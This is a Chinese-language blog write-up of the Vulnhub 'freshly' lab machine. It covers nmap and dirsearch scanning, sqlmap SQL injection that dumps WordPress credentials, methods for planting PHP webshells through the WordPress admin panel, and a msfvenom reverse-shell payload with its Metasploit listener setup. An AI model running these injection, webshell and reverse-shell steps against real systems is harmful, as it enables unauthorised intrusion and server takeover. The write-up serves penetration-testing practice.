Yoga7xm's Blog

Vunlhub之freshly

字数统计: 1k阅读时长: 4 min
2019/02/15 Share

前言

最近过年有点无聊,玩个靶机找找感觉

环境搭建

  • 靶机 172.20.10.3
  • 攻击机kali 172.20.10.8
  • 攻击机Win10 172.20.10.6

Play

信息收集

祭出nmap神器扫描下

1
2
3
4
root@kali:~# nmap -sS -p- -A -v -T4 172.20.10.3
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
443/tcp open ssl/http Apache httpd
8080/tcp open http Apache httpd

就开了三个Web口,依次访问下。

http://172.20.10.3/

扫目录

1
2
3
4
5
6
python3 dirsearch.py -u "http://172.20.10.3/" -e php
[22:43:49] 200 - 47B - /index.html
[22:43:50] 301 - 314B - /javascript -> http://172.20.10.3/javascript/
[22:43:51] 200 - 276B - /login.php
[22:43:55] 301 - 314B - /phpmyadmin -> http://172.20.10.3/phpmyadmin/
[22:43:56] 200 - 8KB - /phpmyadmin/

发现一个login.phpphpmyadmin

http://172.20.10.3:8080/wordpress/

然后对8080口进行目录扫描了下,但是并没发现什么敏感文件。

https://172.20.10.3/

与8080口运行的是同一套程序,也没有发现些什么敏感文件

漏洞挖掘

8080和443口都跑着是WP的程序,功能点也不是很多,wpscan扫下

wpscan --url "http://172.20.10.3:8080/wordpress/" -e

都是一些XSS或者敏感信息泄露的洞,并没有利用的点。回到80下的login.php,是一个form表单,手工测了下,大概率存在Sqli

抓包保存txt,扔Sqlmap中跑去,默认情况的level和risk并没有跑出漏洞,于是乎指定等级为3,确认了注入,并且拿到7个库名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sqlmap -u http://172.20.10.3/login.php --forms --level=3 --risk=3 --batch
[22:18:37] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.0.12
[22:18:37] [INFO] fetching database names
[22:18:37] [INFO] fetching number of databases
available databases [7]:
[*] information_schema
[*] login
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] users
[*] wordpress8080

爆表拿到users,爆列名拿到username,password,最后拿到账号密码admin:SuperSecretPassword,成功登录wordpress后台

GetShell

WP后台拿shell的方法,大概有这么几种:

  • 直接上传PHP文件
  • 安装插件时,上传一句话的Zip包
  • 编辑主题插入一句话
  • 编辑已安装的插件插入一句话木马
  • 主题夹带一句话木马
  • 插件夹带一句话木马

但是在这版本的情况下,前俩种已失效,这里正好试下其他的方法

编辑主题

外观>编辑>404模板中,直接插入一句话,然后访问一个不存在的文件即可

或者编辑主题中其他文件,向其中插入一句话木马,然后访问/wp-content/themes/[主题名]/[修改文件的文件名]即可

编辑插件

编辑已安装的插件中的文件,插入一句话,然后访问/wp-content/plugins/[插件名]/[修改文件的文件名]即可

主题夹带一句话

下载一个免费的主题,然后把一句话木马夹在zip中,然后上传主题,最后访问/wp-content/themes/[主题名]/[一句话木马文件名]即可

插件夹带一句话

类似上传主题,将一句话木马夹在正规的插件zip包中上传,访问/wp-content/plugins/[插件名]/[一句话木马名]即可

回到靶机,连上菜刀,查看id和passwd,虽然不是root组,但是仍有权限读取passwd文件,并且拿到了Secret文件:NOBODY EVER GOES IN, AND NOBODY EVER COMES OUT!

提权

利用MSF生成php后门,然后利用菜刀上传至web目录

msfvenom -p php/meterpreter/reverse_tcp lhost=172.20.10.8 lport=9999 -f raw -o poc.php

设置监听

1
2
3
4
5
6
7
8
msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 172.20.10.8
LHOST => 172.20.10.8
msf5 exploit(multi/handler) > set LPORT 9999
LPORT => 9999
msf5 exploit(multi/handler) > exploit

然后shell下python -c 'import pty;pty.spawn("/bin/bash")',然后su root尝试wp密码成功拿下Root权限。

总结

回顾一下,就是开了三个web口,其中8080跑着wp的程序,80下有个自定义的login页面存在注入,然后通过注入拿到wp的后台登录密码,后台Getshell。虽然这个靶机思路比较常规,但是学习了下WP后台下多种拿shell的方法,也算是比较有收获吧….

CATALOG
  1. 1. 前言
  2. 2. 环境搭建
  3. 3. Play
    1. 3.1. 信息收集
    2. 3.2. 漏洞挖掘
    3. 3.3. GetShell
      1. 3.3.1. 编辑主题
      2. 3.3.2. 编辑插件
      3. 3.3.3. 主题夹带一句话
      4. 3.3.4. 插件夹带一句话
    4. 3.4. 提权
  4. 4. 总结